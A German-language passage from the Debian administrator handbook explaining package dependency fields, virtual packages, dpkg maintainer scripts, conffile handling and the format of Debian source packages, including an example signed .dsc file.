Die Recommends- und Suggests-Zeilen bezeichnen Abhängigkeiten, die nicht vorgeschrieben sind. Die „empfohlenen“ (recommended) Abhängigkeiten sind wichtig und verbessern die Funktionen des Pakets wesentlich, sind für seinen Einsatz aber nicht unabdingbar. Die „vorgeschlagenen“ (suggested) Abhängigkeiten sind weniger wichtig und deuten darauf hin, dass bestimmte Pakete die Funktionalität ergänzen oder verbessern können; es ist jedoch völlig zulässig, es ohne diese zu installieren.

Sie sollten immer die „empfohlenen“ (recommended) Pakete installieren, es sei denn, Sie wissen genau warum Sie sie nicht benötigen. Dagegen ist es nicht erforderlich, die „vorgeschlagenen“ (suggested) Pakete zu installieren, es sei denn, Sie wissen warum Sie sie benötigen.

Die Enhances-Zeilen beschreibt auch eine Empfehlung, aber in einem anderen Zusammenhang. Und zwar befindet sie sich in dem vorgeschlagenen Paket, nicht in dem Paket, dem der Vorschlag zugute kommt. Sie ist deshalb interessant, weil man auf diese Weise eine Empfehlung hinzufügen kann, ohne das betroffene Paket zu verändern. So können alle Add-ons, Plug-ins und sonstigen Erweiterungen in der Liste der Empfehlungen für ein Programm erscheinen. Obwohl es sie bereits seit mehreren Jahren gibt, werden diese Zeilen noch weitgehend von Programmen wie apt oder synaptic ignoriert. Ihr Zweck besteht darin, dem Nutzer einen von der Enhances-Zeile gemachten Vorschlag zusätzlich zu den herkömmlichen Vorschlägen - in der Suggests-Zeile - anzuzeigen.

5.2.1.2. Konflikte: die Conflicts-Zeilen

Die Conflicts-Zeilen zeigen an, dass ein Paket nicht gleichzeitig mit einem anderen installiert sein kann. Die häufigsten Gründe hierfür sind, dass beide Pakete eine Datei gleichen Namens enthalten, dass sie den gleichen Dienst am selben TCP-Port anbieten oder dass sie sich gegenseitig im Betrieb behindern würden.

dpkg wird sich weigern, ein Paket zu installieren, falls es einen Konflikt mit einem bereits installierten Paket auslöst, es sei denn das neue Paket gibt an, dass es die installierten Pakete „ersetzen“ wird. In diesem Fall wird sich dpkg dafür entscheiden, das alte Paket durch das neue zu ersetzen. apt folgt immer Ihren Anweisungen: wenn Sie es vorziehen ein neues Paket zu installieren, wird es automatisch anbieten das Paket, das ein Problem darstellt, zu deinstallieren.

5.2.1.3. Inkompatibilitäten: die Breaks-Zeilen

Die Breaks-Zeilen haben einen ähnlichen Effekt wie die Conflicts-Zeilen, jedoch mit einer besonderen Bedeutung. Sie deutet darauf hin, dass die Installation eines Paketes ein anderes Paket (oder bestimmte Versionen davon) „brechen“ wird. Normalerweise ist die Inkompatibilität zwischen zwei Paketen vorübergehend, und die Breaks-Beziehung bezieht sich auf die inkompatiblen Versionen.

dpkg wird sich weigern, ein Paket zu installieren das ein bereits installiertes Paket beschädigen würde, und apt wird versuchen das Problem dadurch zu lösen, dass es das Paket das beschädigt würde auf eine neuere Version zu aktualisieren (von der angenommen wird, dass sie korrigiert und damit wieder kompatibel ist).

Diese Situation kann bei Aktualisierungen ohne rückwärtige Kompatibilität auftreten: dies ist der Fall, wenn eine neue Version nicht mehr zusammen mit der älteren Version funktioniert und eine Fehlfunktion in einem anderen Programm verursacht ohne dass dafür besondere Vorkehrungen getroffen worden sind. Die Breaks-Zeilen verhindern, dass der Nutzer in diese Schwierigkeiten gerät.

5.2.1.4. Bereitgestellte Elemente: die Provides-Zeilen

Diese Zeile führt das sehr interessante Konzept eines „virtuellen Pakets“ ein. Sie hat viele Aufgaben, aber zwei sind von besonderer Bedeutung. Die erste Aufgabe besteht darin, ein virtuelles Paket dazu zu benutzen, ihm einen allgemeinen Dienst zuzuordnen (das Paket „stellt“ den Dienst „bereit“). Die zweite zeigt an, dass ein Paket ein anderes vollständig ersetzt, und dass es daher auch die Abhängigkeiten erfüllen kann, die das andere erfüllen würde. Auf diese Weise kann ein Ersatzpaket erstellt werden, ohne denselben Paketnamen verwenden zu müssen.

WÖRTERVERZEICHNIS Meta-Pakete und virtuelle Pakete

Es ist unerlässlich, zwischen Meta-Paketen und virtuellen Paketen zu unterscheiden. Erstere sind wirkliche Pakete (einschließlich wirklicher .deb-Dateien), deren einziger Zweck darin besteht, Abhängigkeiten aufzuzeigen.

Dagegen existieren virtuelle Pakete nicht wirklich; sie dienen lediglich dazu, wirkliche Pakete auf der Basis gemeinsamer, logischer Kriterien (des bereitgestellten Dienstes, der Kompatibilität mit einem Standardprogramm oder einem schon vorher bestehenden Paket usw.) zu identifizieren.

5.2.1.4.1. Einen „Dienst“ bereitstellen

Lassen Sie uns den ersten Fall anhand eines Beispiels ausführlicher erörtern: alle Mailserver, wie postfix oder sendmail, „stellen“ angeblich das virtuelle Paket mail-transport-agent „bereit“. Daher erklärt jedes Paket, das diesen Service benötigt, um funktionsfähig zu sein (z. B. Mailinglisten-Manager wie smartlist oder sympa), in seinen Abhängigkeiten einfach, dass es einen mail-transport-agent benötigt, anstatt eine lange, jedoch unvollständige Liste möglicher Lösungen aufzustellen (z. B. postfix | sendmail | exim4 | …). Außerdem wäre es sinnlos, zwei Mailserver auf demselben Rechner zu installieren, weshalb jedes dieser Pakete einen Konflikt mit dem virtuellen Paket mail-transport-agent angibt. Der Konflikt eines Pakets mit sich selbst wird vom System ignoriert, jedoch verhindert dieses Verfahren, dass zwei Mailserver nebeneinander installiert werden.

DEBIAN-RICHTLINIEN Liste virtueller Pakete

Damit virtuelle Pakete verwndet werden können, müssen alle sich über ihre Namen einig sein. Daher sind diese in den Debian-Richtlinien standardisiert. Die Liste enthält unter anderem mail-transport-agent für Mailserver, c-compiler für Kompilierer der Programmiersprache C, www-browser für Webbrowser, httpd für Webserver, ftp-server für FTP-Server, x-terminal-emulator für Terminal-Emulatoren im Grafikmodus (xterm) sowie x-window-manager für Fenstermanager.

Die vollständige Liste ist im Internet zu finden.

→ http://www.debian.org/doc/packaging-manuals/virtual-package-names-list.txt

5.2.1.4.2. Austauschbarkeit mit einem anderen Paket

Die Provides-Zeile ist dagegen von Interesse, wenn der Inhalt eines Pakets in einem größeren Paket enthalten ist. So war zum Beispiel das Perl-Modul libdigest-md5-perl ein optionales Modul in Perl 5.6 und ist als Standard in Perl 5.8 (und späteren Versionen wie der aktuellen Version 5.20 in Jessie) integriert worden. Daher gibt das Paket perl seit der Version 5.8 Provides: libdigest-md5-perl an, so dass die Abhängigkeiten dieses Pakets erfüllt sind, falls der Nutzer Perl 5.8 oder neuer hat. Das Paket libdigest-md5-perl selbst ist irgendwann gelöscht worden, da es keinen weiteren Nutzen mehr hatte, nachdem alte Perl-Versionen entfernt worden waren.

Abbildung 5.1. Verwendung einer Provides-Zeile zur Vermeidung des Brechens von Abhängigkeiten

Dieses Merkmal ist sehr nützlich, da es nie möglich ist, die Wechselfälle der Entwicklung vorherzusehen, und es erforderlich ist, sich auf die Umbenennung oder einen anderen automatischen Ersatz einer veralteten Software einzustellen.

ZURÜCK ZU DEN GRUNDLAGEN Perl, eine Programmiersprache

Perl (Practical Extraction and Report Language) ist eine sehr populäre Programmiersprache. Sie hat zahlreiche gebrauchsfertige Module, die ein weites Spektrum von Anwendungen abdecken und die durch die Server des CPAN (Comprehensive Perl Archive Network) verteilt werden, ein vollständiges Netzwerk von Perl-Paketen.

→ http://www.perl.org/

→ http://www.cpan.org/

Da es eine interpretierte Sprache ist, brauchen in Perl geschriebene Programme vor ihrer Ausführung nicht kompiliert zu werden. Daher werden sie „Perl-Skripte“ genannt.

5.2.1.4.3. Bisherige Einschränkungen

Virtuelle Pakete leideten an einigen Einschränkungen, von denen die wichtigste das Fehlen einer Versionsnummer war. Um zum vorhergehenden Beispiel zurückzukehren: eine Abhängigkeit wie Depends: libdigest-md5-perl (>= 1.6) würde trotz der Anwesenheit von Perl 5.10 von der Paketverwaltung niemals als erfüllt angesehen werden - obwohl sie in Wirklichkeit höchstwahrscheinlich erfüllt ist. In Unkenntnis dieser Tatsache wählt die Paketverwaltung die risikoärmste Option und geht davon aus, dass die Versionen nicht übereinstimmen.

Diese Beschränkung wurde in dpkg 1.17.11 behoben und ist in Jessie nicht mehr relevant. Packages can assign a version to the virtual packages they provide with a dependency such as Provides: libdigest-md5-perl (= 1.8).

5.2.1.5. Dateien ersetzen: Die Replaces-Zeile

Die Replaces-Zeile zeigt an, dass das Paket Dateien enthält, die auch in einem anderen Paket vorhanden sind, dass aber das Paket offiziell berechtigt ist, sie zu ersetzen. Ohne diese Angabe würde dpkg scheitern und erklären, dass es die Dateien eines anderen Pakets nicht überschreiben kann (allerdings kann es durch die Option --force-overwrite dazu gezwungen werden, was allerdings nicht als Standard-Operation empfohlen wird). Hierdurch ist es möglich, eventuelle Probleme zu identifizieren, und der Betreuer muss die Angelegenheit untersuchen, bevor er entscheidet, ob er solch eine Zeile einfügt.

Die Verwendung dieser Zeile ist gerechtfertigt, wenn sich Paketnamen ändern oder wenn ein Paket in einem anderen enthalten ist. Dies kommt auch vor, wenn der Betreuer sich entschließt, Dateien in unterschiedlicher Weise auf mehrere Binärpakete zu verteilen, die vom selben Quellpaket erstellt werden: eine ersetzte Datei ist nicht mehr Teil des alten Pakets, sondern nur noch des neuen.

Sobald alle Dateien eines installierten Pakets ersetzt wurden, gilt das Paket als entfernt. Ausserdem veranlasst dieses Feld dpkg, das ersetzte Paket zu entfernen, wenn ein Konflikt auftritt.

WEITERE SCHRITTE Die Tag-Zeile

In obenstehendem apt-Beispiel sehen wir eine Zeile, die wir noch nicht erläutert haben: die Tag-Zeile. Diese Zeile beschreibt keine Beziehung zwischen Paketen, sondern ist eine einfache Möglichkeit, ein Paket in einer thematischen Taxonomie zu kategorisieren. Diese Einordnung von Paketen aufgrund verschiedener Kriterien (Art der Schnittstelle, Programmiersprache, Verwendungsbereich usw.) ist schon seit längerem möglich. Aber nicht alle Pakte enthalten korrekte Tags und es ist noch nicht in alle Debian-Hilfsprogramme integriert; aptitude zeigt diese Kennzeichnungen an und erlaubt es, sie als Suchkriterien zu verwenden. Für diejenigen, denen aptitude's Suchkriterien nicht gefallen, ermöglicht folgende Webseite das Nvigieren durch die Kennzeichen-Datenbank:

→ http://debtags.alioth.debian.org/

5.2.2. Konfigurationsskripte

Zusätzlich zur control-Datei kann das control.tar.gz-Archiv jeden Debian-Pakets eine Anzahl von Skripten enthalten, die von dpkg in verschiedenen Phasen der Paketverarbeitung aufgerufen werden. Die Debian-Richtlinien beschreiben ausführlich die möglichen Fälle mit Benennung der aufgerufenen Skripte und der Parameter, die sie entgegennehmen. Diese Abläufe können kompliziert sein, da dpkg im Falle des Scheiterns eines Skripts versucht, zu einem zufriedenstellenden Zustand zurückzukehren, indem es die Installation oder die gerade stattfindende Entfernung (insofern möglich) abbricht.

WEITERE SCHRITTE dpkg-Datenbank

Alle Konfigurationsskripte für installierte Pakete sind im Verzeichnis /var/lib/dpkg/info/ in Form einer Datei gespeichert, der der Dateiname des Pakets vorangestellt ist. In diesem Verzeichnis befindet sich für jedes Paket auch eine Datei mit der Erweiterung .list, die eine Liste der zu dem jeweiligen Paket gehörenden Dateien enthält.

Die Datei /var/lib/dpkg/status enthält eine Reihe von Datenblöcken (im Format der bekannten Mail-Kopfzeilen, RFC 2822), die den Status jedes Pakets beschreiben. Die Information aus der control-Datei der installierten Pakete ist hier ebenfalls wiedergegeben.

Im Allgemeinen wird das Skript preinst vor der Installation eines Pakets ausgeführt, postinst danach. In gleicher Weise wird prerm vor dem Entfernen eines Pakets aufgerufen und postrm danach. Die Aktualisierung eines Pakets ist gleichbedeutend mit dem Entfernen der vorhergehenden Version und einer Installation der neuen. Alle möglichen Szenarien können hier nicht ausführlich beschrieben werden, aber wir werden die zwei häufigsten erörtern: eine Installation/Aktualisierung und ein Entfernen.

VORSICHT Symbolische Skriptnamen

Die in diesem Abschnitt beschriebenen Schritte bezeichnen Konfigurationsskripte mit spezifischen Namen wie old-prerm oder new-postinst. Dies sind zum einen das in der alten Version des Pakets enthaltene Skript prerm (das vor der Aktualisierung installiert worden war) und zum anderen das in der neuen Version enthaltene Skript postinst (das durch die Aktualisierung installiert wird).

TIP Zustandsdiagramme

Manoj Srivastava hat diese Diagramme erstellt, die erklären, wie die Konfigurationsskripte von dpkg aufgerufen werden. Ähnliche Diagramme wurden auch vom Projekt „Debian Women“ entwickelt; sie sind etwas einfacher zu verstehen, aber weniger vollständig.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://wiki.debian.org/MaintainerScripts

5.2.2.1. Installation und Aktualisierung

Folgendes geschieht während einer Installation (oder einer Aktualisierung):

1. Für eine Aktualisierung ruft dpkg das Skript old-prerm upgrade neue-version auf.

2. Ebenfalls für eine Aktualisierung führt dpkg dann new-preinst upgradealte-version aus; bei einer erstmaligen Installation führt es stattdessen new-preinst install aus. Möglicherweise fügt es im letzten Parameter die alte Version hinzu, falls das Paket früher schon einmal installiert war und seither entfernt wurde (aber nicht vollständig gelöscht, da die Konfigurationsdateien noch zurückbehalten wurden).

3. Die neuen Paketdateien werden dann entpackt. Falls eine Datei bereits vorhanden ist, wird sie ersetzt, wobei aber vorübergehend eine Sicherheitskopie erstellt wird.

4. Für eine Aktualisierung führt dpkg das Skript old-postrm upgrade neue-version aus.

5. dpkg aktualisiert alle internen Daten (Dateiliste, Konfigurationsskripte usw.) und entfernt die Sicherheitskopien der ersetzten Dateien. Dies ist der Punkt, an dem es kein Zurück mehr gibt: dpkg hat keinen Zugang zu all den Elementen mehr, die für eine Rückkehr zum vorherigen Zustand erforderlich wären.

6. dpkg aktualisiert dann die Konfigurationsdateien, wobei es den Nutzer auffordert, Entscheidungen zu treffen, falls es diese Aufgabe nicht selbsttätig erledigen kann. Die Einzelheiten dieses Vorgangs sind in Abschnitt 5.2.3, „Checksummen, Liste der Konfigurationsdateien“ erläutert.

7. Schließlich konfiguriert dpkg das Paket, indem es new-postinst configure vorherige-konfigurierte-version ausführt.

5.2.2.2. Paketentfernung

Folgendes geschieht, wenn ein Paket entfernt wird:

1. dpkg ruft prerm remove auf.

2. dpkg entfernt alle Dateien des Pakets bis auf die Konfigurationsdateien und die Konfigurationsskripte.

3. dpkg führt postrm remove aus. Hierdurch werden alle Konfigurationsskripte bis auf postrm entfernt. Falls der Nutzer nicht die Option „purge“ benutzt hat, wird der Ablauf hier beendet.

4. Bei einer vollständigen Entfernung des Paketes (durch den Befehl dpkg --purge oder dpkg -P) werden sowohl die Konfigurationsdateien entfernt, als auch eine Anzahl von Kopien (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) und temporären Dateien; dpkg führt dann abschließend postrm purge aus.

WÖRTERVERZEICHNIS „Purge“, vollständig Entfernen

Wenn ein Debian-Paket entfernt wird, bleiben die Konfigurationsdateien erhalten, um eine mögliche Re-Installation zu erleichtern. In gleicher Weise bleiben die von einem Hintergrundprogramm erzeugten Daten (wie der Inhalt eines LDAP-Server-Verzeichnisses oder der Inhalt einer SQL-Server-Datenbank) normalerweise erhalten.

Um alle mit einem Paket in Verbindung stehenden Daten zu entfernen, muss das Paket mit dem Befehl dpkg -P paket, apt-get remove --purge paket oder aptitude purge paket gelöscht werden.

Angesichts der Unwiderruflichkeit einer derartigen Datenlöschung sollte „purge“ nicht unbedacht verwendet werden.

Die vier oben beschriebenen Skripte werden durch ein config-Skript ergänzt, das von Paketen bereitgestellt wird, die debconf verwenden, um vom Nutzer Informationen für die Konfigurierung zu bekommen. Während der Installation bestimmt dieses Skript im Einzelnen die Fragen, die von debconf gestellt werden. Die Antworten werden zur späteren Verwendung in der debconf-Datenbank aufgezeichnet. Das Skript wird von apt normalerweise ausgeführt, bevor es ein Paket nach dem anderen installiert, um so alle Fragen zu gliedern und sie dem Nutzer vollständig zu Beginn des Vorgangs zu stellen. Die Vor- und Nachinstallationsskripte können dann diese Information verwenden, um den Wünschen des Nutzers entsprechend zu agieren.

HILFSPROGRAMM debconf

debconf wurde entwickelt, um ein in Debian immer wiederkehrendes Problem zu lösen. Debian-Pakete, die zumindest ein Minimum an Konfiguration benötigen, benutzten die Befehle echo und read in postinst (und anderen ähnlichen Shell-Skripten), um die Antworten abzufragen. Dies bedeutete jedoch, dass der Nutzer während einer umfangreichen Installation oder Aktualisierung beim Rechner bleiben musste, um diverse Fragen, die sich jederzeit ergeben konnten, zu beantworten. Auf dieses manuelle Zusammenwirken kann inzwischen dank debconf fast vollständig verzichtet werden.

debconf hat zahlreiche interessante Merkmale: es verlangt vom Entwickler, die Interaktionen mit dem Anwender festzulegen; es erlaubt die Lokalisierung aller angezeigten Texte (alle Übersetzungen der Interaktionsbezeichnungen sind in der Template-Datei gespeichert); es verfügt über verschiedene Frontends zur Interaktion mit dem Anwender (Textmodus, Grafikmodus, nicht interaktiv); und es ermöglicht die Erstellung einer zentralen Datenbank von Antworten, um so dieselbe Konfiguration mit verschiedenen Rechnern zu teilen... aber das Wichtigste ist, dass es jetzt möglich ist, dem Nutzer vor Beginn einer langen Installation oder Aktualisierung alle Fragen in einem Block zu stellen. Der Nutzer kann dann andere Aufgaben erledigen, während das System die Installation selbstständig erledigt, und er braucht nicht mehr vor Ort zu bleiben und in Erwartung möglicher Fragen auf den Bildschirm zu starren.

5.2.3. Checksummen, Liste der Konfigurationsdateien

Zusätzlich zu den in den vorherigen Kapiteln genannten Verwaltungsskripten und Kontrolldaten enthält das Archiv control.tar.gz eines Debian-Pakets weitere interessante Dateien. Die erste, md5sums, enthält die MD5-Prüfsumme aller Dateien des Pakets. Ihr Hauptvorteil besteht darin, dass sie es dpkg --verify (auf das wir in Abschnitt 14.3.3.1, „Pakete mit logcheck prüfen“ noch näher eingehen werden) ermöglicht, zu überprüfen, ob diese Dateien seit ihrer Installation verändert worden sind. Man beachte, dass der Befehl dpkg diese Datei dynamisch zur Installationszeit erzeugt, falls sie nicht vorhanden ist (und in der dpkg-Datenbank speichert wie die anderen Kontrolldateien).

conffiles führt Paketdateien auf, die als Konfigurationsdateien behandelt werden müssen. Konfigurationsdateien können durch den Administrator angepasst werden und dpkg wird versuchen, diese Anpassungen bei einer Paketaktualisierung zu erhalten.

Im Ergebnis verhält sich dpkg in dieser Situation möglichst intelligent: falls die Standard-Konfigurationsdatei zwischen zwei Versionen nicht verändert worden ist, tut es gar nichts. Falls die Datei jedoch verändert wurde, wird es versuchen, sie zu aktualisieren. Zwei Fälle sind möglich: entweder hat der Administrator diese Konfigurationsdatei nicht angerührt, dann installiert dpkg automatisch die neue Version; oder die Datei ist verändert worden, dann fragt dpkg den Administrator, welche Version er verwenden möchte (die alte mit den Veränderungen oder die neue, die mit dem Paket bereitgestellt wird). Um diese Entscheidung zu erleichtern, bietet dpkg an, ein „diff“ anzuzeigen, das die Unterschiede zwischen den beiden Versionen aufführt. Falls der Nutzer sich entscheidet, die alte Version zu behalten, wird die neue am selben Ort in einer Datei mit dem Zusatz .dpkg-dist abgespeichert. Wenn der Anwender die neue Version auswählt, wird die alte in einer Datei mit dem Suffix .dpkg-old suffix gespeichert. Eine weitere mögliche Maßnahme besteht darin, dpkg vorübergehend anzuhalten und dann die Datei zu editieren, und dabei zu versuchen, die relevanten Veränderungen (die zuvor durch diff identifiziert worden sind) wieder einzusetzen.

WEITERE SCHRITTE Die Fragen zur Konfigurationsdatei vermeiden

dpkg erledigt die Aktualisierung von Konfigurationsdateien, unterbricht aber regelmäßig diese Aktionen, um vom Administrator Eingaben zu verlangen. Dies ist für diejenigen, die Aktualisierungen in einer nicht-interaktiven Weise ablaufen lassen möchten, weniger erfreulich. Daher bietet dieses Programm auch Optionen an, die Fragen selbstständig gemäß dieser Logik zu entscheiden: --force-confold behält die alte Dateiversion; --force-confnew verwendet die neue (diese Auswahl wird selbst dann eingehalten, wenn die Datei vom Administrator gar nicht verändert wurde, was nur manchmal den gewünschten Effekt hat). Durch Hinzufügen der Option --force-confdef wird dpkg mitgeteilt, dass es wenn möglich selbst entscheiden soll (anders ausgedrückt, wenn die ursprüngliche Konfigurationsdatei nicht angerührt worden ist), und dass es die Optionen --force-confnew oder --force-confold nur in den anderen Fällen verwenden soll.

Diese Optionen gelten für dpkg, aber meistens wird der Administrator direkt mit den Programmen aptitude oder apt-get arbeiten. Es ist daher erforderlich, die Syntax zu kennen, die zur Bezeichnung der Optionen verwendet wird, die an dpkg weitergeleitet werden (ihre Befehlszeilen-Schnittstellen sind sehr ähnlich).

# apt -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" full-upgrade

Diese Optionen können direkt in der Konfiguration von apt gespeichert werden. Dazu schreibt man einfach die folgende Zeile in die Datei /etc/apt/apt.conf.d/local:

DPkg::options { "--force-confdef"; "--force-confold"; }

Die Aufnahme dieser Option in die Konfigurationsdatei hat zur Folge, dass sie auch in einer grafischen Schnittstelle wie aptitude verwendet wird.

WEITERE SCHRITTE Zwinge dpkg, Fragen zur Konfigurationsdatei zu stellen

Die Option --force-confask zwingt dpkg dazu, die Fragen zu den Konfigurationsdateien selbst dann zu stellen, wenn sie nicht notwendig wären. Deshalb wird dpkg bei der Re-Installation eines Pakets mit dieser Option erneut die Fragen aus allen Konfigurationsdateien stellen, die vom Administrator verändert worden sind. Dies ist vor allem sehr praktisch für das erneute Installieren der ursprünglichen Konfigurationsdatei, falls sie gelöscht worden ist oder keine andere Kopie verfügbar ist: eine normale Re-Installation würde nicht funktionieren, weil dpkg das Entfernen als eine zulässige Form der Veränderung ansieht und daher die gewünschte Konfigurationsdatei nicht installiert.

5.3. Struktur eines Quellpakets

5.3.1. Format

Ein Quellpaket besteht normalerweise aus drei Dateien, einer Datei.dsc, .orig.tar.gz und .debian.tar.gz oder .diff.gz. Diese ermöglichen es, aus dem in einer Programmiersprache geschriebenen Quellcode Binärpakete (.deb-Dateien wie weiter oben beschrieben) für das oder die Programm(e) zu erzeugen.

Die Datei .dsc (Debian Source Control) ist eine kurze Textdatei, die einen RFC 2822 Header enthält (genau wie die in Abschnitt 5.2.1, „Beschreibung: Die control-Datei“ betrachtete Datei control), der das Quellpaket beschreibt und angibt, welche anderen Dateien dazugehören. Sie ist von ihrem Betreuer signiert, wodurch Authentizität gewährleistet ist. Siehe Abschnitt 6.5, „Die Echtheit eines Paketes prüfen“ für weitere Einzelheiten zu diesem Thema.

Beispiel 5.1. Eine .dsc-Datei

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Format: 3.0 (quilt)
Source: zim
Binary: zim
Architecture: all
Version: 0.62-3
Maintainer: Emfox Zhou <emfox@debian.org>
Uploaders: Raphaël Hertzog <hertzog@debian.org>
Homepage: http://zim-wiki.org
Standards-Version: 3.9.6
Vcs-Browser: http://anonscm.debian.org/gitweb/?p=collab-maint/zim.git
Vcs-Git: git://anonscm.debian.org/collab-maint/zim.git
Build-Depends: debhelper (>= 9), xdg-utils, python (>= 2.6.6-3~), libgtk2.0-0 (>= 2.6), python-gtk2, python-xdg
Package-List:
zim deb x11 optional arch=all
Checksums-Sha1:
ad8de170826682323c10195b65b9f1243fd75637 1772246 zim_0.62.orig.tar.gz
a4f70d6f7fb404022c9cc4870a4e62ea3ca08388 14768 zim_0.62-3.debian.tar.xz
Checksums-Sha256:
19d62aebd2c1a92d84d80720c6c1dcdb779c39a2120468fed01b7f252511bdc2 1772246 zim_0.62.orig.tar.gz
fc2e827e83897d5e33f152f124802c46c3c01c5158b75a8275a27833f1f6f1de 14768 zim_0.62-3.debian.tar.xz
Files:
43419efba07f7086168442e3d698287a 1772246 zim_0.62.orig.tar.gz
725a69663a6c2961f07673ae541298e4 14768 zim_0.62-3.debian.tar.xz

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
Comment: Signed by Raphael Hertzog

iQEcBAEBCAAGBQJUR2jqAAoJEAOIHavrwpq5WFcH/RsdzCHc1oXXxHitU23hEqMj
T6ok29M1UFDJDowMXW75jQ1nT4WPUtvEGygkCHeoO/PvjEvB0sjU8GQlX+N9ddSB
aHfqfAYmVhADNGxrXQT5inZXUa8qGeeq2Sqf6YcWtsnuD56lDbvxkyf/XYopoIEl
oltfl05z/AI+vYsW482YrCz0fxNAKAvkyuPhDebYI8jnKWeAANoqmKpsNc/HYyvT
+ZiA5o57OiGdOKT6XGy3/FiF3dkHiRY8lXW7xdr1BbIgulwl9UmiUNwuxwOYbQO7
edtjiTJqOaFUA0x1zB/XGv5tHr1MjP8naT+kfVoVHTOox51CDbeu5D3DZY4imcY=
=Wtoa
-----END PGP SIGNATURE-----

Beachten Sie, dass das Quellpaket ebenfalls Abhängigkeiten (Build-Depends) hat, die jedoch mit denen der Binärpakete nichts gemein haben, da sie die Programme benennen, die erforderlich sind, um die betreffende Software zu kompilieren und sein Binärpaket zu erstellen.

VORSICHT Unterschiedliche Namensräume

Es ist hier wichtig festzustellen, dass die Namen der Quellpakete und der daraus erstellten Binärpakete nicht korrespondieren müssen. Dies ist leicht einzusehen, wenn man weiß, dass jedes Quellpaket verschiedene Binärpakete erzeugen kann. Daher gibt es in der .dsc-Datei Zeilen für Source und Binary, um so ausdrücklich das Quellpaket und eine Reihe von Binärpaketen zu nennen, die es erzeugen soll.

KULTUR Warum in mehrere Pakete aufteilen

Nicht selten kann ein Quellpaket (für eine bestimmte Anwendung) verschiedene Binärpakete erzeugen. Die Aufsplittung angebracht, da Software (oder Teile davon) in unterschiedlichen Zusammenhängen verwendet werden kann. Man denke an eine gemeinsam genutzte Bibliothek, die installiert werden kann, um eine Anwendung zum Laufen zu bringen (zum Beispiel libc6), oder sie kann benutzt werden, um eine neue Anwendung zu entwickeln (dann wäre libc6-dev das richtige Paket). Wir finden den gleichen Gedankengang bei Client/Server-Diensten, bei denen wir den Serverteil auf einem Rechner installieren möchten und den Clientteil auf anderen (dies ist zum Beispiel bei openssh-server und openssh-client der Fall).

Genauso oft wird die Dokumentation in einem speziell dafür vorgesehenen Paket bereitgestellt: der Nutzer kann es unabhängig von der Software installieren und sich jederzeit dazu entschließen, es zu entfernen, um Speicherplatz zu sparen. Darüberhinaus spart dies auch Speicherplatz auf den Debian Spiegelservern, da alle Dokumentationspakete von allen Architekturen gemeinsam benutzt werden (anstatt die Dokumentation mehrfach in den Paketen jeder Architektur zu haben).

AUSBLICK Verschiedene Quellpaket-Formate

Ursprünglich gab es nur ein Quellpaket-Format. Dies ist das 1.0-Format, das ein .orig.tar.gz-Archiv einem .diff.gz-„Debianisierungspatch“ zuordnet (es gibt auch eine Variante, die aus einem einzeln .tar.gz-Archiv besteht, das automatisch verwendet wird, wenn kein .orig.tar.gz verfügbar ist).

Seit Debian Squeeze haben Debianentwickler die Möglichkeit, neue Formate zu verwenden, die zahlreiche Probleme des früheren Formats beheben. Format 3.0 (quilt) kann mehrere Ursprungsarchive in einem Quellpaket vereinen: zusätzlich zu den üblichen .orig.tar.gz-Archiven können ergänzende .orig-komponente.tar.gz-Archive eingeschlossen werden. Dies ist bei Software hilfreich, die in Form verschiedener Ursprungskomponenten veröffentlicht wird, für die aber ein einzelnes Quellpaket erwünscht ist. Diese Archive können auch mit bzip2 oder xz komprimiert werden statt mit gzip, wodurch Speicherplatz und Netzwerkressourcen gespart werden. Schließlich wurde der monolithische Patch .diff.gz durch ein .debian.tar.gz-Archiv ersetzt, das die Kompilierungsanweisungen enthält und einen Satz von Ursprungspatches, die vom Paketbetreuer beigesteuert wurden. Letztere sind in einem Format aufgezeichnet, das mit quilt kompatibel ist, einem Programm, das die Verwaltung einer Serie von Patches erleichtert.

Die Datei .orig.tar.gz ist ein Archiv, das den Programm-Quellcode enthält, wie er vom ursprünglichen Entwickler bereitgestellt wurde. Debian-Entwickler sind gehalten, dieses Archiv nicht zu verändern, damit es möglich ist, die Herkunft und Integrität der Datei (durch einen einfachen Vergleich mit einer Prüfsumme) zu kontrollieren, und um die Wünsche mancher Autoren zu berücksichtigen.

Das .debian.tar.gz-Archiv enthält alle vom Debian-Betreuer vorgenommenen Veränderungen, insbesondere auch ein ergänzendes debian-Verzeichnis, das die Ausführungsanweisungen für die Erstellung eines Debian-Paketes enthält.

HILFSPROGRAMM Ein Quellpaket entpacken

Falls Sie ein Quellpaket haben, können Sie den Befehl dpkg-source (aus dem dpkg-dev-Paket) zum Entpacken verwenden:

$ dpkg-source -x package_0.7-1.dsc

Sie können auch apt-get dazu benutzen, ein Quellpaket herunterzuladen und direkt zu entpacken. Hierzu ist es jedoch erforderlich, dass die entsprechenden deb-src-Zeilen in der Datei /etc/apt/sources.list vorhanden sind (für weitere Einzelheiten siehe Abschnitt 6.1, „Befüllen der sources.list Datei“). Diese dienen dazu, die „Quellen“ der Quellpakete aufzulisten (das heißt, die Server, die eine Gruppe von Quellpaketen beherbergen).

$ apt-get source package

5.3.2. Verwendung innerhalb von Debian

Das Quellpaket ist die Grundlage für alles in Debian. Alle Debian-Pakete entstammen einem Quellpaket, und jede Veränderung in einem Debian-Paket ist die Folge einer Veränderung in eines solchen. Die Debian-Betreuer arbeiten mit dem Quellpaket, kennen jedoch die Auswirkungen ihrer Änderungen auf die Binärpakete. Die Ergebnisse ihrer Arbeit basieren auf den von Debian bereitgestellten Quellpaketen: sie können problemlos zu diesen zurückkehren, da alles Weitere darauf aufbaut.

Wenn eine neue Version eines Pakets (Quellpaket und ein oder mehrere Binärpakete) beim Debian-Server eintrifft, ist das Quellpaket das wichtigste. Es wird dann nämlich von einem Netzwerk aus Rechnern verschiedener Architekturen benutzt, um Kompilierungen für die verschiedenen von Debian unterstützten Architekturen zu erstellen. Die Tatsache, dass der Entwickler auch ein oder mehrere Binärpakete für eine bestimmte Architektur mitschickt (gewöhnlich i386 oder amd64), ist relativ unwichtig, da diese genauso gut automatisch erzeugt worden sein könnten.

5.4. Pakete mit dpkg handhaben

